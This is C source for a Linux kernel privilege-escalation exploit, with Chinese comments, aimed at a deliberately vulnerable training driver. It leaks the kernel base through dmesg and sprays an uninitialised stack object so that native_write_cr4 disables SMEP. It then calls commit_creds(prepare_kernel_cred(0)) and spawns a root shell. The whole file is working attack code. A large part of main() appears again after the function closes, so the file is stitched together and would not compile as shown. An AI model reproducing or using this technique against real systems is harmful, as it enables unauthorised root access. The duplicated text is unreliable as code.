#define FREE_UAF_OBJ _IO (IOCTL_NUM,6)
#define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7, unsigned long)
#define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long)
#define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long)
#define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long)
#define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long)
#define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long)
#define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long)
#endif
#define PATH "/dev/vulnerable_device"
// stack 对象
struct stack_obj
{
int do_callback;
size_t fn_arg;
void (*fn)(long);
};
struct use_obj_args
{
int option;
size_t fn_arg;
};
//让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell
void force_single_core()
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0,&mask);
if (sched_setaffinity(0,sizeof(mask),&mask))
printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
return;
}
// 触发page_fault 泄露kernel基址
void do_page_fault()
{
struct use_obj_args use_obj =
{
.option=1,
.fn_arg=1337,
};
int child_fd=open(PATH, O_RDWR);
ioctl(child_fd, UNINITIALISED_STACK_USE, &use_obj);
return ;
}
//从dmesg读取打印信息,泄露kernel基址
#define GREP_INFOLEAK "dmesg | grep SyS_ioctl+0x79 | awk '{print $3}' | cut -d '<' -f 2 | cut -d '>' -f 1 > /tmp/infoleak"
size_t get_info_leak()
{
system(GREP_INFOLEAK);
size_t addr=0;
FILE *fd=fopen("/tmp/infoleak","r");
fscanf(fd,"%lx",&addr);
fclose(fd);
return addr;
}
size_t prepare_kernel_cred_addr=0xa6ca0;
size_t commit_creds_addr=0xa68b0;
size_t native_write_cr4_addr=0x65a30;
size_t sys_ioctl_offset=0x22bc59;
size_t fake_cr4=0x407f0;
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main()
{
// step 1: 只允许在单核上运行
force_single_core();
int fd = open("/dev/vulnerable_device", O_RDWR);
if (fd<0){
printf("[-] Open error!\n");
return 0;
}
ioctl(fd,DRIVER_TEST,NULL); //用于标识dmesg中字符串的开始
// step 2: 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
pid_t pid=fork();
if (pid==0){
do_page_fault();
exit(0);
}
int status;
wait(&status); // 等子进程结束
//sleep(10);
printf("[+] Begin to leak address by dmesg![+]\n");
size_t kernel_base = get_info_leak()-sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+] \n", kernel_base);
native_write_cr4_addr+=kernel_base;
prepare_kernel_cred_addr+=kernel_base;
commit_creds_addr+=kernel_base;
printf("[+] We can get 3 important function address ![+]\n");
printf(" native_write_cr4_addr = %p\n",native_write_cr4_addr);
printf(" prepare_kernel_cred_addr = %p\n",prepare_kernel_cred_addr);
printf(" commit_creds_addr = %p\n",commit_creds_addr);
// step 3: 关闭smep
char buf[4096];
memset(buf, 0, sizeof(buf));
struct use_obj_args use_obj={
.option=1,
.fn_arg=1337,
};
for (int i=0; i<4096; i+=16)
{
memcpy(buf+i, &fake_cr4, 8); // 注意是fake_cr4所在地址
memcpy(buf+i+8, &native_write_cr4_addr, 8); // 注意是native_write_cr4_addr所在地址
}
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
// step 4: 提权,执行get_root(); 注意是把get_root()的地址拷贝过去,转一次
size_t get_root_addr = &get_root;
memset(buf, 0, sizeof(buf));
for (int i=0; i<4096; i+=8)
memcpy(buf+i, &get_root_addr, 8);
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
// step 5: 获得shell
if (getuid()==0)
{
printf("[+] Congratulations! You get root shell !!! [+]\n");
system("/bin/sh");
}
close(fd);
return 0;
}
printf("[+] Kernel base addr : %p [+] \n", kernel_base);
native_write_cr4_addr+=kernel_base;
prepare_kernel_cred_addr+=kernel_base;
commit_creds_addr+=kernel_base;
printf("[+] We can get 3 important function address ![+]\n");
printf(" native_write_cr4_addr = %p\n",native_write_cr4_addr);
printf(" prepare_kernel_cred_addr = %p\n",prepare_kernel_cred_addr);
printf(" commit_creds_addr = %p\n",commit_creds_addr);
// step 3: 关闭smep
char buf[4096];
memset(buf, 0, sizeof(buf));
struct use_obj_args use_obj={
.option=1,
.fn_arg=1337,
};
for (int i=0; i<4096; i+=16)
{
memcpy(buf+i, &fake_cr4, 8); // 注意是fake_cr4所在地址
memcpy(buf+i+8, &native_write_cr4_addr, 8); // 注意是native_write_cr4_addr所在地址
}
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
// step 4: 提权,执行get_root(); 注意是把get_root()的地址拷贝过去,转一次
size_t get_root_addr = &get_root;
memset(buf, 0, sizeof(buf));
for (int i=0; i<4096; i+=8)
memcpy(buf+i, &get_root_addr, 8);
ioctl(fd,UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd,UNINITIALISED_STACK_USE, &use_obj);
// step 5: 获得shell
if (getuid()==0)
{
printf("[+] Congratulations! You get root shell !!! [+]\n");
system("/bin/sh");
}
close(fd);
return 0;
}